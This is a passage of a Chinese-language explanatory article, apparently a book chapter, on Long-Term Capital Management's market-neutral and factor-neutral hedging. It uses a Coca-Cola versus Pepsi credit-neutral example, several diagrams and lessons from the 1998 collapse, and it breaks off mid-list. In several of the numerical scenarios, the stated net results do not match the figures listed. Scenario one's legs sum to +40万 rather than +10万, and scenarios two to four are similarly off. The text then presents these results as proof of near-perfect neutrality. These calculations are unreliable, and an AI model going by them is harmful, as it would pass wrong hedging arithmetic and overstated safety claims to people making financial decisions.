mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.367em;"><span></span></span></span></span></span></span></span></span></span>：风险减少的收益</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">h</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">e</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：对冲成本</li></ul><p><strong>现在理解&quot;市场中性&quot;：</strong></p><p><strong>市场中性的核心概念：</strong></p><p>基于对冲思想，市场中性是指通过系统性对冲消除市场整体涨跌影响，投资组合的价值只取决于相对价格变化。这是对冲思想的最高形态——<strong>完全消除方向性风险，纯粹获取相对价值收益</strong>。</p><p><strong>市场中性 = 高级对冲策略</strong></p><p><strong>图2-2: 从对冲到市场中性的进化路径</strong></p><pre><code class="highlight mermaid">graph TB    subgraph &quot;从对冲到市场中性的进化&quot;        A[&quot;传统对冲: 部分风险对冲&quot;] --&gt; B[&quot;高级对冲: 多因子对冲&quot;]        B --&gt; C[&quot;市场中性: 完全方向对冲&quot;]        subgraph &quot;对冲复杂度递增&quot;            D[&quot;消除单一风险因子&quot;]            E[&quot;消除多个风险因子&quot;]            F[&quot;消除所有方向性风险&quot;]        end        A --&gt; D        B --&gt; E        C --&gt; F    end</code></pre><p><em>数据来源：基于LTCM交易策略分析整理</em></p><p><strong>为什么LTCM选择市场中性？</strong></p><ol><li><strong>风险控制</strong>：消除了最大的不确定性来源（市场方向）</li><li><strong>收益稳定</strong>：专注于可预测的相对价值变化</li><li><strong>杠杆安全</strong>：理论上的低风险允许使用高杠杆</li><li><strong>全天候策略</strong>：牛市熊市都能盈利</li></ol><p><strong>市场中性的实现机制：通过对冲思想的系统化应用</strong></p><p><strong>市场中性的三个层次：</strong></p><p><strong>1. 方向中性（Delta中性）：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">总头寸 = 多头头寸价值 - 空头头寸价值 ≈ 0</span><br></pre></td></tr></table></figure><ul><li><strong>目标</strong>：消除市场整体涨跌的影响</li><li><strong>实现</strong>：每买入1美元的低估资产，就卖空1美元的高估资产</li><li><strong>效果</strong>：无论市场上涨还是下跌，组合价值保持稳定</li></ul><p><strong>2. 行业中性：</strong></p><ul><li><strong>原理</strong>：在同一行业内进行多空配对</li><li><strong>例子</strong>：买入被低估的银行股A，卖空被高估的银行股B</li><li><strong>优势</strong>：消除行业整体的系统性风险</li></ul><p><strong>3. 因子中性：消除特定风险因子的影响</strong></p><p>因子中性听起来很复杂，其实就是对更细分的风险进行对冲。让我们用生活化的例子来理解：</p><p><strong>什么是&quot;因子&quot;？</strong><br>因子就是影响资产价格的各种&quot;推手&quot;，就像影响房价的因素一样：</p><ul><li><strong>地段因子</strong>：市中心vs郊区</li><li><strong>政策因子</strong>：限购政策、利率政策</li><li><strong>供需因子</strong>：新房供应量、人口流入</li><li><strong>流动性因子</strong>：银行放贷松紧、市场资金多少</li></ul><p><strong>金融市场的主要因子及其通俗解释：</strong></p><p><strong>A. 利率因子中性 - &quot;借钱成本&quot;的影响</strong></p><p><strong>什么是利率风险？</strong><br>想象你同时投资了两家公司：</p><ul><li><strong>高科技公司</strong>：需要大量借钱搞研发</li><li><strong>传统制造业</strong>：现金流稳定，借钱较少</li></ul><p>当央行加息时：</p><ul><li>高科技公司：借钱成本上升，股价下跌更多</li><li>制造业：受影响较小，股价相对稳定</li></ul><p><strong>LTCM如何做利率中性？</strong></p><pre><code class="highlight mermaid">graph LR    A[&quot;LTCM的判断：A银行相对B银行被低估&quot;]    A --&gt; B[&quot;买入A银行股票&quot;]    A --&gt; C[&quot;卖空B银行股票&quot;]    D[&quot;利率上升影响&quot;] --&gt; E[&quot;A银行下跌10%&quot;]    D --&gt; F[&quot;B银行下跌10%&quot;]    G[&quot;净效果&quot;] --&gt; H[&quot;A银行 -10% + B银行 +10% = 0%利率影响&quot;]    H --&gt; I[&quot;只剩下A相对B的表现差异&quot;]</code></pre><p><strong>生活化理解</strong>：就像你买了两套位置不同但都会受利率影响的房子，通过一买一卖的配对，消除了利率变化对你总收益的影响。</p><p><strong>B. 信用风险因子中性 - &quot;违约担忧&quot;的影响</strong></p><p><strong>什么是信用风险？</strong><br>简单说就是&quot;借钱不还&quot;的风险。不同投资的信用风险差别很大：</p><p><strong>信用风险等级（从低到高）：</strong></p><ol><li><strong>国债</strong>：政府发的，最安全（几乎零信用风险）</li><li><strong>蓝筹股债券</strong>：大公司发的，比较安全</li><li><strong>小公司债券</strong>：风险较高，利率更高</li><li><strong>垃圾债券</strong>：高风险高收益</li></ol><p><strong>信用风险如何影响价格？</strong><br>当市场担心经济衰退时：</p><ul><li><strong>安全资产</strong>（国债）：大家抢着买，价格上涨</li><li><strong>风险资产</strong>（公司债）：大家担心违约，价格下跌</li></ul><p><strong>LTCM的信用中性案例：一步步拆解每个对冲动作</strong></p><p><strong>场景设定：</strong><br>LTCM通过分析发现：可口可乐债券相对百事可乐债券被低估了20个基点（0.2%），预期这个价差会收敛。</p><p><strong>面临的风险分解：</strong></p><p><strong>图2-6: 可口可乐债券投资的风险因素分解图</strong></p><pre><code class="highlight mermaid">graph TB    A[&quot;投资可口可乐债券的风险&quot;] --&gt; B[&quot;公司特定风险&quot;]    A --&gt; C[&quot;消费行业整体风险&quot;]    A --&gt; D[&quot;整体市场信用风险&quot;]    A --&gt; E[&quot;利率风险&quot;]    B --&gt; B1[&quot;可口可乐vs百事的相对表现&quot;]    C --&gt; C1[&quot;消费行业整体信用状况&quot;]    D --&gt; D1[&quot;所有公司债vs国债的信用利差&quot;]    E --&gt; E1[&quot;利率上升导致债券价格下跌&quot;]</code></pre><p><em>数据来源：基于LTCM信用中性策略分析整理</em></p><p><strong>信用中性解决方案详解：</strong></p><p><strong>第一步：买入可口可乐债券（获得目标敞口）</strong></p><ul><li><strong>操作</strong>：买入1000万美元可口可乐债券</li><li><strong>获得风险</strong>：可口可乐的所有风险敞口</li><li><strong>目标</strong>：获得&quot;可口可乐相对被低估&quot;的收益机会</li></ul><p><strong>第二步：卖空百事可乐债券（对冲同类风险）</strong></p><ul><li><strong>操作</strong>：卖空1000万美元百事可乐债券</li><li><strong>对冲的风险</strong>：<ul><li>✅ <strong>消费行业风险</strong>：两家都是消费公司，行业风险互相抵消</li><li>✅ <strong>公司规模风险</strong>：两家都是大型跨国公司，规模风险对冲</li><li>✅ <strong>商业模式风险</strong>：都是消费品牌公司，商业模式相似</li></ul></li><li><strong>保留的风险</strong>：可口可乐vs百事可乐的相对表现差异</li></ul><p><strong>此时的风险状况分析：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">如果消费行业整体信用担忧增加：</span><br><span class="line">- 可口可乐债券下跌5% → 损失50万美元</span><br><span class="line">- 百事可乐债券也下跌5% → 空头获利50万美元</span><br><span class="line">- 净影响：0美元（消费行业风险被对冲）</span><br><span class="line"></span><br><span class="line">但仍存在的风险：</span><br><span class="line">- 整体债券市场信用风险（所有公司债vs国债）</span><br><span class="line">- 利率风险（债券价格vs利率变化）</span><br></pre></td></tr></table></figure><p><strong>第三步：买入等额国债（对冲整体信用风险）</strong></p><ul><li><strong>操作</strong>：买入1000万美元国债</li><li><strong>对冲的风险</strong>：整体市场信用风险</li><li><strong>原理解释</strong>：<ul><li>如果市场担心所有公司都可能违约</li><li>公司债券（可口可乐、百事）价格都下跌</li><li>国债作为&quot;避风港&quot;价格上涨</li><li>国债多头获利抵消公司债下跌损失</li></ul></li></ul><p><strong>第四步：卖空消费行业ETF（精细化对冲）</strong></p><ul><li><strong>操作</strong>：卖空1000万美元消费行业ETF</li><li><strong>对冲的风险</strong>：<ul><li>✅ <strong>消费行业股票表现</strong>：债券和股票往往同向变动</li><li>✅ <strong>消费行业整体基本面</strong>：行业增长/衰退对债券和股票的影响</li></ul></li><li><strong>保留的敞口</strong>：纯粹的可口可乐vs百事可乐债券相对价值</li></ul><p><strong>最终风险敞口图解：</strong></p><p><strong>图2-7: LTCM信用中性策略的风险敞口对比</strong></p><pre><code class="highlight mermaid">graph TB    subgraph &quot;对冲前的风险敞口&quot;        A1[&quot;买入可口可乐债券&quot;]        A1 --&gt; B1[&quot;利率风险&quot;]        A1 --&gt; B2[&quot;整体信用风险&quot;]        A1 --&gt; B3[&quot;消费行业风险&quot;]        A1 --&gt; B4[&quot;可口可乐特定风险&quot;]    end    subgraph &quot;对冲后的风险敞口&quot;        C1[&quot;只剩余：可口可乐vs百事相对表现&quot;]        C1 --&gt; D1[&quot;这正是LTCM想要押注的!&quot;]    end</code></pre><p><em>数据来源：基于LTCM信用中性对冲策略分析</em></p><p><strong>数值化例子：验证真正的&quot;中性&quot;效果</strong></p><p><strong>重要说明：真正的中性策略应该在市场上涨和下跌时都保持中性！</strong></p><p><strong>情景一：消费行业整体下跌</strong></p><ul><li>可口可乐债券：-3%（-30万美元）</li><li>百事可乐债券：-3%（空头+30万美元）</li><li>消费ETF：-3%（空头+30万美元）</li><li>国债：+1%（+10万美元）</li><li><strong>净影响</strong>：+10万美元（几乎完全对冲）</li></ul><p><strong>情景二：消费行业整体上涨</strong></p><ul><li>可口可乐债券：+3%（+30万美元）</li><li>百事可乐债券：+3%（空头-30万美元）</li><li>消费ETF：+3%（空头-30万美元）</li><li>国债：-1%（-10万美元）</li><li><strong>净影响</strong>：-10万美元（同样几乎完全对冲）</li></ul><p><strong>情景三：整体信用担忧增加（经济衰退预期）</strong></p><ul><li>可口可乐债券：-5%（-50万美元）</li><li>百事可乐债券：-5%（空头+50万美元）</li><li>国债：+3%（+30万美元）</li><li>消费ETF：-4%（空头+40万美元）</li><li><strong>净影响</strong>：+20万美元（风险被有效对冲）</li></ul><p><strong>情景四：整体信用改善（经济复苏预期）</strong></p><ul><li>可口可乐债券：+5%（+50万美元）</li><li>百事可乐债券：+5%（空头-50万美元）</li><li>国债：-2%（-20万美元）</li><li>消费ETF：+4%（空头-40万美元）</li><li><strong>净影响</strong>：-20万美元（同样被有效对冲）</li></ul><p><strong>情景五：利率上升（美联储加息）</strong></p><ul><li>可口可乐债券：-4%（-40万美元）</li><li>百事可乐债券：-4%（空头+40万美元）</li><li>国债：-3%（-30万美元）</li><li>消费ETF：-2%（空头+20万美元）</li><li><strong>净影响</strong>：-10万美元（利率风险部分对冲，但不完美）</li></ul><p><strong>情景六：利率下降（美联储降息）</strong></p><ul><li>可口可乐债券：+4%（+40万美元）</li><li>百事可乐债券：+4%（空头-40万美元）</li><li>国债：+3%（+30万美元）</li><li>消费ETF：+2%（空头-20万美元）</li><li><strong>净影响</strong>：+10万美元（同样的利率风险残余）</li></ul><p><strong>情景七：LTCM的目标实现（相对价值收敛）</strong><br>在以上任何市场环境下，如果可口可乐相对百事的信用利差收敛：</p><ul><li>可口可乐债券相对表现改善：+0.2%（+2万美元）</li><li>其他所有风险因素被对冲抵消</li><li><strong>净收益</strong>：2万美元（这就是LTCM想要的纯粹套利收益）</li></ul><p><strong>关键洞察：为什么叫&quot;中性&quot;？</strong></p><p><strong>图2-8: 市场中性策略的验证机制</strong></p><pre><code class="highlight mermaid">graph TB    subgraph &quot;市场中性的验证&quot;        A[&quot;无论市场涨跌&quot;] --&gt; B[&quot;组合价值基本不变&quot;]        B --&gt; C[&quot;只有目标因子影响收益&quot;]        subgraph &quot;各种市场情景&quot;            D[&quot;行业下跌：净影响+10万&quot;]            E[&quot;行业上涨：净影响-10万&quot;]            F[&quot;信用恶化：净影响+20万&quot;]            G[&quot;信用改善：净影响-20万&quot;]        end        D --&gt; H[&quot;接近零影响&quot;]        E --&gt; H        F --&gt; H        G --&gt; H        H --&gt; I[&quot;真正的市场中性&quot;]    end</code></pre><p><em>数据来源：基于LTCM市场中性策略效果分析</em></p><p><strong>发现的问题：并非完美中性！</strong></p><p>通过上面的分析，我们发现了几个重要问题：</p><p><strong>1. 利率风险未完全对冲</strong></p><ul><li>利率变化时仍有±10万美元的影响</li><li>说明这个策略对利率变化不是完全中性的</li><li>LTCM需要额外的利率对冲工具</li></ul><p><strong>2. 对冲的不对称性</strong></p><ul><li>市场上涨和下跌的净影响符号相反</li><li>这实际上引入了轻微的方向性偏向</li><li>真正中性应该是无论涨跌净影响都接近零</li></ul><p><strong>3. 头寸规模的重要性</strong></p><p>为实现完美中性，需要精确计算各项资产的头寸规模：</p><p>公式(2-8)：最优对冲头寸规模</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:6em;vertical-align:-2.75em;"></span><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.25em;"><span style="top:-5.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord cjk_fallback mtight">可口可乐</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.91em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord cjk_fallback mtight">百事</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord cjk_fallback mtight">国债</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-0.91em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord cjk_fallback mtight">消费</span><span class="mord mathnormal mtight" style="margin-right:0.13889em;">ETF</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.75em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.25em;"><span style="top:-5.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">1000</span><span class="mord cjk_fallback">万美元</span></span></span><span style="top:-3.91em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord cjk_fallback">万美元</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord cjk_fallback mtight">可口可乐</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05278em;">β</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.5198em;margin-left:-0.0528em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord cjk_fallback mtight">百事</span><span class="mord mtight">/</span><span class="mord cjk_fallback mtight">可口可乐</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3552em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mord cjk_fallback">万美元</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord cjk_fallback mtight">风险资产</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0379em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord cjk_fallback mtight">信用风险</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-0.91em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="mord cjk_fallback">万美元</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord cjk_fallback mtight">消费债券</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05556em;">γ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0556em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord cjk_fallback mtight">行业风险</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.75em;"><span></span></span></span></span></span></span><span class="tag"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.25em;"><span style="top:-5.25em;"><span class="pstrut" style="height:2.84em;"></span><span class="eqn-num"></span></span><span style="top:-3.75em;"><span class="pstrut" style="height:2.84em;"></span><span class="eqn-num"></span></span><span style="top:-2.25em;"><span class="pstrut" style="height:2.84em;"></span><span class="eqn-num"></span></span><span style="top:-0.75em;"><span class="pstrut" style="height:2.84em;"></span><span class="eqn-num"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.75em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:1em;"></span><span class="mopen">(</span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">8</span><span class="mclose">)</span></span></span></span></span></p><p>其中各系数需要根据历史相关性和风险敏感度精确计算</p><p><strong>LTCM策略的现实复杂性</strong></p><p>这个例子揭示了LTCM面临的真实挑战：</p><ol><li><strong>完美中性需要持续调整</strong>：市场相关性在变化</li><li><strong>交易成本累积</strong>：频繁调整对冲比例产生成本</li><li><strong>模型风险</strong>：对历史相关性的依赖</li><li><strong>极端情况失效</strong>：1998年危机时所有相关性都变了</li></ol><p><strong>为什么这叫&quot;信用中性&quot;？</strong></p><p>通过这四步操作，LTCM实现了：</p><ol><li><strong>消除公司信用风险</strong>：通过同行业配对（可口可乐vs百事）</li><li><strong>消除行业信用风险</strong>：通过买入国债、卖空行业ETF</li><li><strong>消除市场信用风险</strong>：通过国债多头对冲</li><li><strong>保留目标风险</strong>：只承担可口可乐vs百事的相对信用表现</li></ol><p><strong>关键洞察：精密工程的风险管理</strong></p><p>这个案例展示了LTCM风险管理的精密程度：</p><ul><li>每一步都有明确的对冲目标</li><li>通过多层对冲实现精确的风险敞口</li><li>最终只承担他们有信心的那部分风险</li></ul><p><strong>但这也是LTCM失败的种子：</strong></p><ul><li>过度复杂的对冲链条</li><li>对模型和相关性的过度依赖</li><li>忽略了极端情况下所有相关性都可能失效</li></ul><p><strong>C. 流动性因子中性 - &quot;买卖难易程度&quot;的影响</strong></p><p><strong>什么是流动性风险？</strong><br>流动性就是&quot;变现容易程度&quot;，就像房子的地段：</p><ul><li><strong>市中心房子</strong>：随时有人要买（高流动性）</li><li><strong>偏远地区房子</strong>：想卖时不容易找到买家（低流动性）</li></ul><p><strong>流动性对价格的影响：</strong></p><p><strong>图2-3: 市场恐慌时期的流动性风险传导机制</strong></p><pre><code class="highlight mermaid">graph TB    A[&quot;市场恐慌时期&quot;] --&gt; B[&quot;投资者急需现金&quot;]    B --&gt; C[&quot;优先卖出高流动性资产&quot;]    B --&gt; D[&quot;避免持有低流动性资产&quot;]    C --&gt; E[&quot;高流动性资产价格下跌&quot;]    D --&gt; F[&quot;低流动性资产更难卖出&quot;]    E --&gt; G[&quot;流动性价差扩大&quot;]    F --&gt; G</code></pre><p><em>数据来源：基于LTCM流动性风险分析整理</em></p><p><strong>LTCM的流动性中性实例：</strong></p><p><strong>在途债券 vs 脱途债券套利：</strong></p><ul><li><strong>在途债券</strong>：最新发行，交易活跃（高流动性）</li><li><strong>脱途债券</strong>：较早发行，交易较少（低流动性）</li><li><strong>正常情况</strong>：脱途债券收益率高5个基点（流动性补偿）</li><li><strong>异常情况</strong>：价差扩大到20个基点</li></ul><p><strong>LTCM策略：</strong></p><ol><li><strong>买入脱途债券</strong>（低流动性，但收益率异常高）</li><li><strong>卖空在途债券</strong>（高流动性，收益率异常低）</li><li><strong>预期</strong>：价差从20基点收敛到5基点</li></ol><p><strong>为什么这叫&quot;流动性中性&quot;？</strong><br>因为多空配对后，如果整个债券市场流动性都变差：</p><ul><li>脱途债券：本来就流动性差，影响有限</li><li>在途债券：流动性优势减少，价格下跌</li><li><strong>净效果</strong>：两边互相抵消，只剩相对流动性价差的收敛收益</li></ul><p><strong>因子中性的现代意义：</strong></p><p>对于普通投资者和统一账户保证金交易者：</p><p><strong>可实践的简化版因子中性：</strong></p><ol><li><strong>行业中性</strong>：看好A银行但担心银行业整体，可以买A银行股票同时卖空银行ETF</li><li><strong>大小盘中性</strong>：看好某只小盘股但担心小盘股整体下跌，买个股同时卖空小盘指数</li><li><strong>地区中性</strong>：看好特定中概股但担心中美关系，买个股同时卖空中概股ETF</li></ol><p><strong>关键启示：</strong></p><ul><li>因子中性的本质是<strong>精确制导</strong>：只承担你有信心的那部分风险</li><li>LTCM的失败告诉我们：再精密的因子中性在极端情况下也可能失效</li><li>对于普通投资者：理解这个思想比完全复制更重要</li></ul><p><strong>LTCM市场中性策略的具体实施：</strong></p><p><strong>图2-4: LTCM市场中性策略实现机制流程图</strong></p><pre><code class="highlight mermaid">graph TB    subgraph &quot;LTCM市场中性实现机制&quot;        A[&quot;识别价格偏差&quot;] --&gt; B[&quot;构建配对头寸&quot;]        B --&gt; C[&quot;多头：买入低估资产&quot;]        B --&gt; D[&quot;空头：卖空高估资产&quot;]        C --&gt; E[&quot;头寸规模匹配&quot;]        D --&gt; E        E --&gt; F[&quot;实现市场中性&quot;]        subgraph &quot;风险对冲&quot;            G[&quot;利率风险对冲&quot;]            H[&quot;信用风险对冲&quot;]            I[&quot;流动性风险对冲&quot;]        end        F --&gt; G        F --&gt; H        F --&gt; I    end</code></pre><p><em>数据来源：《When Genius Failed》，LTCM交易策略分析</em></p><p><strong>市场中性的优势与挑战：</strong></p><p><strong>优势：</strong></p><ol><li><strong>降低系统性风险</strong>：不受市场整体波动影响</li><li><strong>稳定收益来源</strong>：专注于相对价值变化</li><li><strong>资本效率高</strong>：可以使用杠杆放大收益</li><li><strong>适应性强</strong>：在牛市、熊市都能获利</li></ol><p><strong>挑战：</strong></p><ol><li><strong>相关性风险</strong>：危机时相关性可能失效</li><li><strong>流动性风险</strong>：多空头寸流动性可能不匹配</li><li><strong>模型风险</strong>：对历史数据和数学模型过度依赖</li><li><strong>执行风险</strong>：需要精确的头寸管理和风险控制</li></ol><p><strong>LTCM市场中性策略的致命缺陷：</strong></p><p>尽管理论上完美，LTCM的市场中性策略在1998年危机中暴露出致命问题：</p><ol><li><strong>极端情况下相关性趋向1</strong>：所有&quot;低估&quot;资产同时下跌，所有&quot;高估&quot;资产同时上涨</li><li><strong>流动性陷阱</strong>：多头头寸难以变现，空头头寸却要追加保证金</li><li><strong>杠杆放大效应</strong>：市场中性并不意味着零风险，高杠杆下小幅不利变动也可能致命</li></ol><p><strong>现代启示：</strong><br>对于统一账户保证金交易者，理解LTCM的市场中性策略教训至关重要：</p><ul><li>不要过度相信数学模型的&quot;市场中性&quot;</li><li>极端市场条件下，所有相关性假设都可能失效</li><li>杠杆使用必须为&quot;最坏情况&quot;预留足够安全边际</li></ul><pre><code class="highlight mermaid">graph TB    subgraph &quot;LTCM核心套利策略&quot;        A[&quot;识别价格偏差&quot;] --&gt; B[&quot;同时买入低估资产&quot;]        A --&gt; C[&quot;卖空高估资产&quot;]        B --&gt; D[&quot;等待价格收敛&quot;]        C --&gt; D        D --&gt; E[&quot;获得无风险收益&quot;]        subgraph &quot;四大主要策略&quot;            F[&quot;美国、日本、欧洲主权债券套利&quot;]            G[&quot;欧洲主权债券收敛交易&quot;]            H[&quot;在途债券vs脱途债券套利&quot;]            I[&quot;新兴市场主权债券(美元对冲)&quot;]        end    end</code></pre><p><strong>LTCM的具体交易案例详解：</strong></p><p><strong>1. 收益率曲线套利交易实例：</strong></p><ul><li><strong>交易时间</strong>：1998年5月</li><li><strong>具体操作</strong>：LTCM发现29年期美国国债与30年期美国国债之间存在5个基点的不合理价差</li><li><strong>理论基础</strong>：由于期限仅差1年，两者风险特征几乎相同，价格应该接近</li><li><strong>交易策略</strong>：做多29年期国债（收益率较高），做空30年期国债（收益率较低）</li><li><strong>预期收益</strong>：当价差收敛时获得无风险套利收益</li><li><strong>实际结果</strong>：俄国危机后价差不但没有收敛，反而扩大到15个基点，造成2.15亿美元损失</li></ul><p><strong>2. 